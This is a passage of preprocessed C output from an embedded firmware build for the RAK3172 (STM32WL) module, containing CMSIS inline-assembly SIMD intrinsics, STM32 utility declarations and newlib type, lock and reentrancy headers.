"/home/jenkins/workspace/RUI_Release/rui-v3/external/STM32CubeWL/Drivers/CMSIS/Include/cmsis_gcc.h" __attribute__((always_inline)) static inline void __STRHT(uint16_t value, volatile uint16_t *ptr) { __asm volatile ("strht %1, %0" : "=Q" (*ptr) : "r" ((uint32_t)value) ); } # 1366 "/home/jenkins/workspace/RUI_Release/rui-v3/external/STM32CubeWL/Drivers/CMSIS/Include/cmsis_gcc.h" __attribute__((always_inline)) static inline void __STRT(uint32_t value, volatile uint32_t *ptr) { __asm volatile ("strt %1, %0" : "=Q" (*ptr) : "r" (value) ); } # 1621 "/home/jenkins/workspace/RUI_Release/rui-v3/external/STM32CubeWL/Drivers/CMSIS/Include/cmsis_gcc.h" __attribute__((always_inline)) static inline uint32_t __SADD8(uint32_t op1, uint32_t op2) { uint32_t result; __asm volatile ("sadd8 %0, %1, %2" : "=r" (result) : "r" (op1), "r" (op2) ); return(result); } __attribute__((always_inline)) static inline uint32_t __QADD8(uint32_t op1, uint32_t op2) { uint32_t result; __asm volatile ("qadd8 %0, %1, %2" : "=r" (result) : "r" (op1), "r" (op2) ); return(result); } __attribute__((always_inline)) static inline uint32_t __SHADD8(uint32_t op1, uint32_t op2) { uint32_t result; __asm volatile ("shadd8 %0, %1, %2" : "=r" (result) : "r" (op1), "r" (op2) ); return(result); } __attribute__((always_inline)) static inline uint32_t __UADD8(uint32_t op1, uint32_t op2) { uint32_t result; __asm volatile ("uadd8 %0, %1, %2" : "=r" (result) : "r" (op1), "r" (op2) ); return(result); } __attribute__((always_inline)) static inline uint32_t __UQADD8(uint32_t op1, uint32_t op2) { uint32_t result; __asm volatile ("uqadd8 %0, %1, %2" : "=r" (result) : "r" (op1), "r" (op2) ); return(result); } __attribute__((always_inline)) static inline uint32_t __UHADD8(uint32_t op1, uint32_t op2) { uint32_t result; __asm volatile ("uhadd8 %0, %1, %2" : "=r" (result) : "r" (op1), "r" (op2) ); return(result); } __attribute__((always_inline)) static inline uint32_t __SSUB8(uint32_t op1, uint32_t op2) { uint32_t result; __asm volatile ("ssub8 %0, %1, %2" : "=r" (result) : "r" (op1), "r" (op2) ); return(result); } __attribute__((always_inline)) static inline uint32_t __QSUB8(uint32_t op1, uint32_t op2) { uint32_t result; __asm volatile ("qsub8 %0, %1, %2" : "=r" (result) : "r" (op1), "r" (op2) ); return(result); } __attribute__((always_inline)) static inline uint32_t __SHSUB8(uint32_t op1, uint32_t op2) { uint32_t result; __asm volatile ("shsub8 %0, %1, %2" : "=r" (result) : "r" (op1), "r" (op2) ); return(result); } __attribute__((always_inline)) static inline uint32_t __USUB8(uint32_t op1, uint32_t op2) { uint32_t result; __asm volatile ("usub8 %0, %1, %2" : "=r" (result) : "r" (op1), "r" (op2) ); return(result); } __attribute__((always_inline)) static inline uint32_t __UQSUB8(uint32_t op1, uint32_t op2) { uint32_t result; __asm volatile ("uqsub8 %0, %1, %2" : "=r" (result) : "r" (op1), "r" (op2) ); return(result); } __attribute__((always_inline)) static inline uint32_t __UHSUB8(uint32_t op1, uint32_t op2) { uint32_t result; __asm volatile ("uhsub8 %0, %1, %2" : "=r" (result) : "r" (op1), "r" (op2) ); return(result); } __attribute__((always_inline)) static inline uint32_t __SADD16(uint32_t op1, uint32_t op2) { uint32_t result; __asm volatile ("sadd16 %0, %1, %2" : "=r" (result) : "r" (op1), "r" (op2) ); return(result); } __attribute__((always_inline)) static inline uint32_t __QADD16(uint32_t op1, uint32_t op2) { uint32_t result; __asm volatile ("qadd16 %0, %1, %2" : "=r" (result) : "r" (op1), "r" (op2) ); return(result); } __attribute__((always_inline)) static inline uint32_t __SHADD16(uint32_t op1, uint32_t op2) { uint32_t result; __asm volatile ("shadd16 %0, %1, %2" : "=r" (result) : "r" (op1), "r" (op2) ); return(result); } __attribute__((always_inline)) static inline uint32_t __UADD16(uint32_t op1, uint32_t op2) { uint32_t result; __asm volatile ("uadd16 %0, %1, %2" : "=r" (result) : "r" (op1), "r" (op2) ); return(result); } __attribute__((always_inline)) static inline uint32_t __UQADD16(uint32_t op1, uint32_t op2) { uint32_t result; __asm volatile ("uqadd16 %0, %1, %2" : "=r" (result) : "r" (op1), "r" (op2) ); return(result); } __attribute__((always_inline)) static inline uint32_t __UHADD16(uint32_t op1, uint32_t op2) { uint32_t result; __asm volatile ("uhadd16 %0, %1, %2" : "=r" (result) : "r" (op1), "r" (op2) ); return(result); } __attribute__((always_inline)) static inline uint32_t __SSUB16(uint32_t op1, uint32_t op2) { uint32_t result; __asm volatile ("ssub16 %0, %1, %2" : "=r" (result) : "r" (op1), "r" (op2) ); return(result); } __attribute__((always_inline)) static inline uint32_t __QSUB16(uint32_t op1, uint32_t op2) { uint32_t result; __asm volatile ("qsub16 %0, %1, %2" : "=r" (result) : "r" (op1), "r" (op2) ); return(result); } __attribute__((always_inline)) static inline uint32_t __SHSUB16(uint32_t op1, uint32_t op2) { uint32_t result; __asm volatile ("shsub16 %0, %1, %2" : "=r" (result) : "r" (op1), "r" (op2) ); return(result); } __attribute__((always_inline)) static inline uint32_t __USUB16(uint32_t op1, uint32_t op2) { uint32_t result; __asm volatile ("usub16 %0, %1, %2" : "=r" (result) : "r" (op1), "r" (op2) ); return(result); } __attribute__((always_inline)) static inline uint32_t __UQSUB16(uint32_t op1, uint32_t op2) { uint32_t result; __asm volatile ("uqsub16 %0, %1, %2" : "=r" (result) : "r" (op1), "r" (op2) ); return(result); } __attribute__((always_inline)) static inline uint32_t __UHSUB16(uint32_t op1, uint32_t op2) { uint32_t result; __asm volatile ("uhsub16 %0, %1, %2" : "=r" (result) : "r" (op1), "r" (op2) ); return(result); } __attribute__((always_inline)) static inline uint32_t __SASX(uint32_t op1, uint32_t op2) { uint32_t result; __asm volatile ("sasx %0, %1, %2" : "=r" (result) : "r" (op1), "r" (op2) ); return(result); } __attribute__((always_inline)) static inline uint32_t __QASX(uint32_t op1, uint32_t op2) { uint32_t result; __asm volatile ("qasx %0, %1, %2" : "=r" (result) : "r" (op1), "r" (op2) ); return(result); } __attribute__((always_inline)) static inline uint32_t __SHASX(uint32_t op1, uint32_t op2) { uint32_t result; __asm volatile ("shasx %0, %1, %2" : "=r" (result) : "r" (op1), "r" (op2) ); return(result); } __attribute__((always_inline)) static inline uint32_t __UASX(uint32_t op1, uint32_t op2) { uint32_t result; __asm volatile ("uasx %0, %1, %2" : "=r" (result) : "r" (op1), "r" (op2) ); return(result); } __attribute__((always_inline)) static inline uint32_t __UQASX(uint32_t op1, uint32_t op2) { uint32_t result; __asm volatile ("uqasx %0, %1, %2" : "=r" (result) : "r" (op1), "r" (op2) ); return(result); } __attribute__((always_inline)) static inline uint32_t __UHASX(uint32_t op1, uint32_t op2) { uint32_t result; __asm volatile ("uhasx %0, %1, %2" : "=r" (result) : "r" (op1), "r" (op2) ); return(result); } __attribute__((always_inline)) static inline uint32_t __SSAX(uint32_t op1, uint32_t op2) { uint32_t result; __asm volatile ("ssax %0, %1, %2" : "=r" (result) : "r" (op1), "r" (op2) ); return(result); } __attribute__((always_inline)) static inline uint32_t __QSAX(uint32_t op1, uint32_t op2) { uint32_t result; __asm volatile ("qsax %0, %1, %2" : "=r" (result) : "r" (op1), "r" (op2) ); return(result); } __attribute__((always_inline)) static inline uint32_t __SHSAX(uint32_t op1, uint32_t op2) { uint32_t result; __asm volatile ("shsax %0, %1, %2" : "=r" (result) : "r" (op1), "r" (op2) ); return(result); } __attribute__((always_inline)) static inline uint32_t __USAX(uint32_t op1, uint32_t op2) { uint32_t result; __asm volatile ("usax %0, %1, %2" : "=r" (result) : "r" (op1), "r" (op2) ); return(result); } __attribute__((always_inline)) static inline uint32_t __UQSAX(uint32_t op1, uint32_t op2) { uint32_t result; __asm volatile ("uqsax %0, %1, %2" : "=r" (result) : "r" (op1), "r" (op2) ); return(result); } __attribute__((always_inline)) static inline uint32_t __UHSAX(uint32_t op1, uint32_t op2) { uint32_t result; __asm volatile ("uhsax %0, %1, %2" : "=r" (result) : "r" (op1), "r" (op2) ); return(result); } __attribute__((always_inline)) static inline uint32_t __USAD8(uint32_t op1, uint32_t op2) { uint32_t result; __asm volatile ("usad8 %0, %1, %2" : "=r" (result) : "r" (op1), "r" (op2) ); return(result); } __attribute__((always_inline)) static inline uint32_t __USADA8(uint32_t op1, uint32_t op2, uint32_t op3) { uint32_t result; __asm volatile ("usada8 %0, %1, %2, %3" : "=r" (result) : "r" (op1), "r" (op2), "r" (op3) ); return(result); } #define __SSAT16(ARG1,ARG2) ({ int32_t __RES, __ARG1 = (ARG1); __ASM ("ssat16 %0, %1, %2" : "=r" (__RES) : "I" (ARG2), "r" (__ARG1) ); __RES; }) #define __USAT16(ARG1,ARG2) ({ uint32_t __RES, __ARG1 = (ARG1); __ASM ("usat16 %0, %1, %2" : "=r" (__RES) : "I" (ARG2), "r" (__ARG1) ); __RES; }) __attribute__((always_inline)) static inline uint32_t __UXTB16(uint32_t op1) { uint32_t result; __asm volatile ("uxtb16 %0, %1" : "=r" (result) : "r" (op1)); return(result); } __attribute__((always_inline)) static inline uint32_t __UXTAB16(uint32_t op1, uint32_t op2) { uint32_t result; __asm volatile ("uxtab16 %0, %1, %2" : "=r" (result) : "r" (op1), "r" (op2) ); return(result); } __attribute__((always_inline)) static inline uint32_t __SXTB16(uint32_t op1) { uint32_t result; __asm volatile ("sxtb16 %0, %1" : "=r" (result) : "r" (op1)); return(result); } __attribute__((always_inline)) static inline uint32_t __SXTAB16(uint32_t op1, uint32_t op2) { uint32_t result; __asm volatile ("sxtab16 %0, %1, %2" : "=r" (result) : "r" (op1), "r" (op2) ); return(result); } __attribute__((always_inline)) static inline uint32_t __SMUAD (uint32_t op1, uint32_t op2) { uint32_t result; __asm volatile ("smuad %0, %1, %2" : "=r" (result) : "r" (op1), "r" (op2) ); return(result); } __attribute__((always_inline)) static inline uint32_t __SMUADX (uint32_t op1, uint32_t op2) { uint32_t result; __asm volatile ("smuadx %0, %1, %2" : "=r" (result) : "r" (op1), "r" (op2) ); return(result); } __attribute__((always_inline)) static inline uint32_t __SMLAD (uint32_t op1, uint32_t op2, uint32_t op3) { uint32_t result; __asm volatile ("smlad %0, %1, %2, %3" : "=r" (result) : "r" (op1), "r" (op2), "r" (op3) ); return(result); } __attribute__((always_inline)) static inline uint32_t __SMLADX (uint32_t op1, uint32_t op2, uint32_t op3) { uint32_t result; __asm volatile ("smladx %0, %1, %2, %3" : "=r" (result) : "r" (op1), "r" (op2), "r" (op3) ); return(result); } __attribute__((always_inline)) static inline uint64_t __SMLALD (uint32_t op1, uint32_t op2, uint64_t acc) { union llreg_u{ uint32_t w32[2]; uint64_t w64; } llr; llr.w64 = acc; __asm volatile ("smlald %0, %1, %2, %3" : "=r" (llr.w32[0]), "=r" (llr.w32[1]): "r" (op1), "r" (op2) , "0" (llr.w32[0]), "1" (llr.w32[1]) ); return(llr.w64); } __attribute__((always_inline)) static inline uint64_t __SMLALDX (uint32_t op1, uint32_t op2, uint64_t acc) { union llreg_u{ uint32_t w32[2]; uint64_t w64; } llr; llr.w64 = acc; __asm volatile ("smlaldx %0, %1, %2, %3" : "=r" (llr.w32[0]), "=r" (llr.w32[1]): "r" (op1), "r" (op2) , "0" (llr.w32[0]), "1" (llr.w32[1]) ); return(llr.w64); } __attribute__((always_inline)) static inline uint32_t __SMUSD (uint32_t op1, uint32_t op2) { uint32_t result; __asm volatile ("smusd %0, %1, %2" : "=r" (result) : "r" (op1), "r" (op2) ); return(result); } __attribute__((always_inline)) static inline uint32_t __SMUSDX (uint32_t op1, uint32_t op2) { uint32_t result; __asm volatile ("smusdx %0, %1, %2" : "=r" (result) : "r" (op1), "r" (op2) ); return(result); } __attribute__((always_inline)) static inline uint32_t __SMLSD (uint32_t op1, uint32_t op2, uint32_t op3) { uint32_t result; __asm volatile ("smlsd %0, %1, %2, %3" : "=r" (result) : "r" (op1), "r" (op2), "r" (op3) ); return(result); } __attribute__((always_inline)) static inline uint32_t __SMLSDX (uint32_t op1, uint32_t op2, uint32_t op3) { uint32_t result; __asm volatile ("smlsdx %0, %1, %2, %3" : "=r" (result) : "r" (op1), "r" (op2), "r" (op3) ); return(result); } __attribute__((always_inline)) static inline uint64_t __SMLSLD (uint32_t op1, uint32_t op2, uint64_t acc) { union llreg_u{ uint32_t w32[2]; uint64_t w64; } llr; llr.w64 = acc; __asm volatile ("smlsld %0, %1, %2, %3" : "=r" (llr.w32[0]), "=r" (llr.w32[1]): "r" (op1), "r" (op2) , "0" (llr.w32[0]), "1" (llr.w32[1]) ); return(llr.w64); } __attribute__((always_inline)) static inline uint64_t __SMLSLDX (uint32_t op1, uint32_t op2, uint64_t acc) { union llreg_u{ uint32_t w32[2]; uint64_t w64; } llr; llr.w64 = acc; __asm volatile ("smlsldx %0, %1, %2, %3" : "=r" (llr.w32[0]), "=r" (llr.w32[1]): "r" (op1), "r" (op2) , "0" (llr.w32[0]), "1" (llr.w32[1]) ); return(llr.w64); } __attribute__((always_inline)) static inline uint32_t __SEL (uint32_t op1, uint32_t op2) { uint32_t result; __asm volatile ("sel %0, %1, %2" : "=r" (result) : "r" (op1), "r" (op2) ); return(result); } __attribute__((always_inline)) static inline int32_t __QADD( int32_t op1, int32_t op2) { int32_t result; __asm volatile ("qadd %0, %1, %2" : "=r" (result) : "r" (op1), "r" (op2) ); return(result); } __attribute__((always_inline)) static inline int32_t __QSUB( int32_t op1, int32_t op2) { int32_t result; __asm volatile ("qsub %0, %1, %2" : "=r" (result) : "r" (op1), "r" (op2) ); return(result); } # 2148 "/home/jenkins/workspace/RUI_Release/rui-v3/external/STM32CubeWL/Drivers/CMSIS/Include/cmsis_gcc.h" #define __PKHBT(ARG1,ARG2,ARG3) ( ((((uint32_t)(ARG1)) ) & 0x0000FFFFUL) | ((((uint32_t)(ARG2)) << (ARG3)) & 0xFFFF0000UL) ) #define __PKHTB(ARG1,ARG2,ARG3) ( ((((uint32_t)(ARG1)) ) & 0xFFFF0000UL) | ((((uint32_t)(ARG2)) >> (ARG3)) & 0x0000FFFFUL) ) __attribute__((always_inline)) static inline int32_t __SMMLA (int32_t op1, int32_t op2, int32_t op3) { int32_t result; __asm volatile ("smmla %0, %1, %2, %3" : "=r" (result): "r" (op1), "r" (op2), "r" (op3) ); return(result); } #pragma GCC diagnostic pop # 55 "/home/jenkins/workspace/RUI_Release/rui-v3/external/STM32CubeWL/Drivers/CMSIS/Include/cmsis_compiler.h" 2 # 60 "/home/jenkins/workspace/RUI_Release/rui-v3/external/STM32CubeWL/Utilities/timer/stm32_timer.h" 2 # 1 "/home/jenkins/workspace/RUI_Release/rui-v3/component/core/board/rak3172/utilities_conf.h" 1 # 24 "/home/jenkins/workspace/RUI_Release/rui-v3/component/core/board/rak3172/utilities_conf.h" #define __UTILITIES_CONF_H__ # 34 "/home/jenkins/workspace/RUI_Release/rui-v3/component/core/board/rak3172/utilities_conf.h" # 1 "/home/jenkins/workspace/RUI_Release/rui-v3/external/STM32CubeWL/Utilities/misc/stm32_mem.h" 1 # 22 "/home/jenkins/workspace/RUI_Release/rui-v3/external/STM32CubeWL/Utilities/misc/stm32_mem.h" #define __STM32_MEM_H__ # 1 "/home/jenkins/workspace/RUI_Release/rui-v3/component/core/board/rak3172/utilities_conf.h" 1 # 31 "/home/jenkins/workspace/RUI_Release/rui-v3/external/STM32CubeWL/Utilities/misc/stm32_mem.h" 2 #define UTIL_MEM_PLACE_IN_SECTION(__x__) UTIL_PLACE_IN_SECTION( __x__ ) #define UTIL_MEM_ALIGN ALIGN # 47 "/home/jenkins/workspace/RUI_Release/rui-v3/external/STM32CubeWL/Utilities/misc/stm32_mem.h" void UTIL_MEM_cpy_8( void *dst, const void *src, uint16_t size ); # 56 "/home/jenkins/workspace/RUI_Release/rui-v3/external/STM32CubeWL/Utilities/misc/stm32_mem.h" void UTIL_MEM_cpyr_8( void *dst, const void *src, uint16_t size ); # 65 "/home/jenkins/workspace/RUI_Release/rui-v3/external/STM32CubeWL/Utilities/misc/stm32_mem.h" void UTIL_MEM_set_8( void *dst, uint8_t value, uint16_t size ); # 35 "/home/jenkins/workspace/RUI_Release/rui-v3/component/core/board/rak3172/utilities_conf.h" 2 # 1 "/home/jenkins/workspace/RUI_Release/rui-v3/external/STM32CubeWL/Utilities/misc/stm32_tiny_vsnprintf.h" 1 # 21 "/home/jenkins/workspace/RUI_Release/rui-v3/external/STM32CubeWL/Utilities/misc/stm32_tiny_vsnprintf.h" #define __STM32_TINY_VSNPRINTF_H__ # 1 "/opt/gcc-arm-none-eabi-10-2020-q4-major/lib/gcc/arm-none-eabi/10.2.1/include/stdarg.h" 1 3 4 # 31 "/opt/gcc-arm-none-eabi-10-2020-q4-major/lib/gcc/arm-none-eabi/10.2.1/include/stdarg.h" 3 4 #define _STDARG_H #define _ANSI_STDARG_H_ #undef __need___va_list #define __GNUC_VA_LIST # 40 "/opt/gcc-arm-none-eabi-10-2020-q4-major/lib/gcc/arm-none-eabi/10.2.1/include/stdarg.h" 3 4 typedef __builtin_va_list __gnuc_va_list; #define va_start(v,l) __builtin_va_start(v,l) #define va_end(v) __builtin_va_end(v) #define va_arg(v,l) __builtin_va_arg(v,l) #define va_copy(d,s) __builtin_va_copy(d,s) #define __va_copy(d,s) __builtin_va_copy(d,s) # 99 "/opt/gcc-arm-none-eabi-10-2020-q4-major/lib/gcc/arm-none-eabi/10.2.1/include/stdarg.h" 3 4 typedef __gnuc_va_list va_list; #define _VA_LIST_ #define _VA_LIST #define _VA_LIST_DEFINED #define _VA_LIST_T_H #define __va_list__ # 29 "/home/jenkins/workspace/RUI_Release/rui-v3/external/STM32CubeWL/Utilities/misc/stm32_tiny_vsnprintf.h" 2 # 1 "/opt/gcc-arm-none-eabi-10-2020-q4-major/arm-none-eabi/include/string.h" 1 3 #define _STRING_H_ # 1 "/opt/gcc-arm-none-eabi-10-2020-q4-major/arm-none-eabi/include/_ansi.h" 1 3 #define _ANSIDECL_H_ # 1 "/opt/gcc-arm-none-eabi-10-2020-q4-major/arm-none-eabi/include/newlib.h" 1 3 #define __NEWLIB_H__ 1 # 18 "/opt/gcc-arm-none-eabi-10-2020-q4-major/arm-none-eabi/include/newlib.h" 3 #define _WANT_IO_C99_FORMATS 1 #define _WANT_IO_LONG_LONG 1 #define _WANT_REGISTER_FINI 1 # 37 "/opt/gcc-arm-none-eabi-10-2020-q4-major/arm-none-eabi/include/newlib.h" 3 #define _REENT_CHECK_VERIFY 1 #define _MB_LEN_MAX 1 # 53 "/opt/gcc-arm-none-eabi-10-2020-q4-major/arm-none-eabi/include/newlib.h" 3 #define HAVE_INITFINI_ARRAY 1 #define _ATEXIT_DYNAMIC_ALLOC 1 #define _HAVE_LONG_DOUBLE 1 #define _HAVE_CC_INHIBIT_LOOP_TO_LIBCALL 1 #define _LDBL_EQ_DBL 1 #define _FVWRITE_IN_STREAMIO 1 #define _FSEEK_OPTIMIZATION 1 #define _WIDE_ORIENT 1 #define _UNBUF_STREAM_OPT 1 # 95 "/opt/gcc-arm-none-eabi-10-2020-q4-major/arm-none-eabi/include/newlib.h" 3 #define _RETARGETABLE_LOCKING 1 # 11 "/opt/gcc-arm-none-eabi-10-2020-q4-major/arm-none-eabi/include/_ansi.h" 2 3 # 1 "/opt/gcc-arm-none-eabi-10-2020-q4-major/arm-none-eabi/include/sys/config.h" 1 3 #define __SYS_CONFIG_H__ # 1 "/opt/gcc-arm-none-eabi-10-2020-q4-major/arm-none-eabi/include/machine/ieeefp.h" 1 3 # 77 "/opt/gcc-arm-none-eabi-10-2020-q4-major/arm-none-eabi/include/machine/ieeefp.h" 3 #define __IEEE_LITTLE_ENDIAN # 473 "/opt/gcc-arm-none-eabi-10-2020-q4-major/arm-none-eabi/include/machine/ieeefp.h" 3 #define __OBSOLETE_MATH_DEFAULT 1 #define __OBSOLETE_MATH __OBSOLETE_MATH_DEFAULT # 5 "/opt/gcc-arm-none-eabi-10-2020-q4-major/arm-none-eabi/include/sys/config.h" 2 3 # 224 "/opt/gcc-arm-none-eabi-10-2020-q4-major/arm-none-eabi/include/sys/config.h" 3 #define _POINTER_INT long #undef __RAND_MAX #define __RAND_MAX 0x7fffffff # 250 "/opt/gcc-arm-none-eabi-10-2020-q4-major/arm-none-eabi/include/sys/config.h" 3 #define __EXPORT #define __IMPORT #define _READ_WRITE_RETURN_TYPE int #define _READ_WRITE_BUFSIZE_TYPE int # 12 "/opt/gcc-arm-none-eabi-10-2020-q4-major/arm-none-eabi/include/_ansi.h" 2 3 # 31 "/opt/gcc-arm-none-eabi-10-2020-q4-major/arm-none-eabi/include/_ansi.h" 3 #define _BEGIN_STD_C #define _END_STD_C #define _NOTHROW #define _LONG_DOUBLE long double #define _ATTRIBUTE(attrs) __attribute__ (attrs) # 69 "/opt/gcc-arm-none-eabi-10-2020-q4-major/arm-none-eabi/include/_ansi.h" 3 #define _ELIDABLE_INLINE static __inline__ #define _NOINLINE __attribute__ ((__noinline__)) #define _NOINLINE_STATIC _NOINLINE static # 11 "/opt/gcc-arm-none-eabi-10-2020-q4-major/arm-none-eabi/include/string.h" 2 3 # 1 "/opt/gcc-arm-none-eabi-10-2020-q4-major/arm-none-eabi/include/sys/reent.h" 1 3 # 11 "/opt/gcc-arm-none-eabi-10-2020-q4-major/arm-none-eabi/include/sys/reent.h" 3 #define _SYS_REENT_H_ # 1 "/opt/gcc-arm-none-eabi-10-2020-q4-major/arm-none-eabi/include/_ansi.h" 1 3 # 14 "/opt/gcc-arm-none-eabi-10-2020-q4-major/arm-none-eabi/include/sys/reent.h" 2 3 # 1 "/opt/gcc-arm-none-eabi-10-2020-q4-major/lib/gcc/arm-none-eabi/10.2.1/include/stddef.h" 1 3 4 # 15 "/opt/gcc-arm-none-eabi-10-2020-q4-major/arm-none-eabi/include/sys/reent.h" 2 3 # 1 "/opt/gcc-arm-none-eabi-10-2020-q4-major/arm-none-eabi/include/sys/_types.h" 1 3 # 20 "/opt/gcc-arm-none-eabi-10-2020-q4-major/arm-none-eabi/include/sys/_types.h" 3 #define _SYS__TYPES_H #define __need_size_t #define __need_wint_t # 1 "/opt/gcc-arm-none-eabi-10-2020-q4-major/lib/gcc/arm-none-eabi/10.2.1/include/stddef.h" 1 3 4 # 155 "/opt/gcc-arm-none-eabi-10-2020-q4-major/lib/gcc/arm-none-eabi/10.2.1/include/stddef.h" 3 4 #undef __need_ptrdiff_t # 231 "/opt/gcc-arm-none-eabi-10-2020-q4-major/lib/gcc/arm-none-eabi/10.2.1/include/stddef.h" 3 4 #undef __need_size_t # 340 "/opt/gcc-arm-none-eabi-10-2020-q4-major/lib/gcc/arm-none-eabi/10.2.1/include/stddef.h" 3 4 #undef __need_wchar_t #define _WINT_T typedef unsigned int wint_t; #undef __need_wint_t # 390 "/opt/gcc-arm-none-eabi-10-2020-q4-major/lib/gcc/arm-none-eabi/10.2.1/include/stddef.h" 3 4 #undef NULL #define NULL ((void *)0) #undef __need_NULL #define offsetof(TYPE,MEMBER) __builtin_offsetof (TYPE, MEMBER) # 25 "/opt/gcc-arm-none-eabi-10-2020-q4-major/arm-none-eabi/include/sys/_types.h" 2 3 # 1 "/opt/gcc-arm-none-eabi-10-2020-q4-major/arm-none-eabi/include/machine/_types.h" 1 3 #define _MACHINE__TYPES_H # 28 "/opt/gcc-arm-none-eabi-10-2020-q4-major/arm-none-eabi/include/sys/_types.h" 2 3 typedef long __blkcnt_t; typedef long __blksize_t; typedef __uint64_t __fsblkcnt_t; typedef __uint32_t __fsfilcnt_t; typedef long _off_t; typedef int __pid_t; typedef short __dev_t; typedef unsigned short __uid_t; typedef unsigned short __gid_t; typedef __uint32_t __id_t; typedef unsigned short __ino_t; # 90 "/opt/gcc-arm-none-eabi-10-2020-q4-major/arm-none-eabi/include/sys/_types.h" 3 typedef __uint32_t __mode_t; __extension__ typedef long long _off64_t; typedef _off_t __off_t; typedef _off64_t __loff_t; typedef long __key_t; typedef long _fpos_t; # 127 "/opt/gcc-arm-none-eabi-10-2020-q4-major/arm-none-eabi/include/sys/_types.h" 3 #undef __size_t typedef unsigned int __size_t; # 146 "/opt/gcc-arm-none-eabi-10-2020-q4-major/arm-none-eabi/include/sys/_types.h" 3 #define unsigned signed typedef signed int _ssize_t; #undef unsigned # 158 "/opt/gcc-arm-none-eabi-10-2020-q4-major/arm-none-eabi/include/sys/_types.h" 3 typedef _ssize_t __ssize_t; typedef struct { int __count; union { wint_t __wch; unsigned char __wchb[4]; } __value; } _mbstate_t; typedef void *_iconv_t; #define _CLOCK_T_ unsigned long typedef unsigned long __clock_t; #define _TIME_T_ __int_least64_t typedef __int_least64_t __time_t; #define _CLOCKID_T_ unsigned long typedef unsigned long __clockid_t; #define _TIMER_T_ unsigned long typedef unsigned long __timer_t; typedef __uint8_t __sa_family_t; typedef __uint32_t __socklen_t; typedef int __nl_item; typedef unsigned short __nlink_t; typedef long __suseconds_t; typedef unsigned long __useconds_t; typedef __builtin_va_list __va_list; # 16 "/opt/gcc-arm-none-eabi-10-2020-q4-major/arm-none-eabi/include/sys/reent.h" 2 3 #define _NULL 0 #define __Long long typedef unsigned long __ULong; # 34 "/opt/gcc-arm-none-eabi-10-2020-q4-major/arm-none-eabi/include/sys/reent.h" 3 # 1 "/opt/gcc-arm-none-eabi-10-2020-q4-major/arm-none-eabi/include/sys/lock.h" 1 3 #define __SYS_LOCK_H__ # 33 "/opt/gcc-arm-none-eabi-10-2020-q4-major/arm-none-eabi/include/sys/lock.h" 3 struct __lock; typedef struct __lock * _LOCK_T; #define _LOCK_RECURSIVE_T _LOCK_T #define __LOCK_INIT(class,lock) extern struct __lock __lock_ ## lock; class _LOCK_T lock = &__lock_ ## lock #define __LOCK_INIT_RECURSIVE(class,lock) __LOCK_INIT(class,lock) extern void __retarget_lock_init(_LOCK_T *lock); #define __lock_init(lock) __retarget_lock_init(&lock) extern void __retarget_lock_init_recursive(_LOCK_T *lock); #define __lock_init_recursive(lock) __retarget_lock_init_recursive(&lock) extern void __retarget_lock_close(_LOCK_T lock); #define __lock_close(lock) __retarget_lock_close(lock) extern void __retarget_lock_close_recursive(_LOCK_T lock); #define __lock_close_recursive(lock) __retarget_lock_close_recursive(lock) extern void __retarget_lock_acquire(_LOCK_T lock); #define __lock_acquire(lock) __retarget_lock_acquire(lock) extern void __retarget_lock_acquire_recursive(_LOCK_T lock); #define __lock_acquire_recursive(lock) __retarget_lock_acquire_recursive(lock) extern int __retarget_lock_try_acquire(_LOCK_T lock); #define __lock_try_acquire(lock) __retarget_lock_try_acquire(lock) extern int __retarget_lock_try_acquire_recursive(_LOCK_T lock); #define __lock_try_acquire_recursive(lock) __retarget_lock_try_acquire_recursive(lock) extern void __retarget_lock_release(_LOCK_T lock); #define __lock_release(lock) __retarget_lock_release(lock) extern void __retarget_lock_release_recursive(_LOCK_T lock); #define __lock_release_recursive(lock) __retarget_lock_release_recursive(lock) # 35 "/opt/gcc-arm-none-eabi-10-2020-q4-major/arm-none-eabi/include/sys/reent.h" 2 3 typedef _LOCK_T _flock_t; struct _reent; struct __locale_t; struct _Bigint { struct _Bigint *_next; int _k, _maxwds, _sign, _wds; __ULong _x[1]; }; struct __tm { int __tm_sec; int __tm_min; int __tm_hour; int __tm_mday; int __tm_mon; int __tm_year; int __tm_wday; int __tm_yday; int __tm_isdst; }; #define _ATEXIT_SIZE 32 struct _on_exit_args { void * _fnargs[32]; void * _dso_handle[32]; __ULong _fntypes; __ULong _is_cxa; }; # 98 "/opt/gcc-arm-none-eabi-10-2020-q4-major/arm-none-eabi/include/sys/reent.h" 3 struct _atexit { struct _atexit *_next; int _ind; void (*_fns[32])(void); struct _on_exit_args _on_exit_args; }; #define _ATEXIT_INIT {_NULL, 0, {_NULL}, {{_NULL}, {_NULL}, 0, 0}} #define _REENT_INIT_ATEXIT _NULL, _ATEXIT_INIT, # 122 "/opt/gcc-arm-none-eabi-10-2020-q4-major/arm-none-eabi/include/sys/reent.h" 3 struct __sbuf { unsigned char *_base; int _size; }; # 183 "/opt/gcc-arm-none-eabi-10-2020-q4-major/arm-none-eabi/include/sys/reent.h" 3 #define _REENT_SMALL_CHECK_INIT(ptr) struct __sFILE { unsigned char *_p; int _r; int _w; short _flags; short _file; struct __sbuf _bf; int _lbfsize; void * _cookie; int (*_read) (struct _reent *, void *, char *, int); int (*_write) (struct _reent *, void *, const char *, int); _fpos_t (*_seek) (struct _reent *, void *, _fpos_t, int); int (*_close) (struct _reent *, void *); struct __sbuf _ub; unsigned char *_up; int _ur; unsigned char _ubuf[3]; unsigned char _nbuf[1]; struct __sbuf _lb; int _blksize; _off_t _offset; struct _reent *_data; _flock_t _lock; _mbstate_t _mbstate; int _flags2; }; # 292 "/opt/gcc-arm-none-eabi-10-2020-q4-major/arm-none-eabi/include/sys/reent.h" 3 typedef struct __sFILE __FILE; struct _glue { struct _glue *_next; int _niobs; __FILE *_iobs; }; # 317 "/opt/gcc-arm-none-eabi-10-2020-q4-major/arm-none-eabi/include/sys/reent.h" 3 #define _RAND48_SEED_0 (0x330e) #define _RAND48_SEED_1 (0xabcd) #define _RAND48_SEED_2 (0x1234) #define _RAND48_MULT_0 (0xe66d) #define _RAND48_MULT_1 (0xdeec) #define _RAND48_MULT_2 (0x0005) #define _RAND48_ADD (0x000b) struct _rand48 { unsigned short _seed[3]; unsigned short _mult[3]; unsigned short _add; }; #define _REENT_EMERGENCY_SIZE 25 #define _REENT_ASCTIME_SIZE 26 #define _REENT_SIGNAL_SIZE 24 # 613 "/opt/gcc-arm-none-eabi-10-2020-q4-major/arm-none-eabi/include/sys/reent.h" 3 struct _reent { int _errno; __FILE *_stdin, *_stdout, *_stderr; int _inc; char _emergency[25]; int _unspecified_locale_info; struct __locale_t *_locale; int __sdidinit; void (*__cleanup) 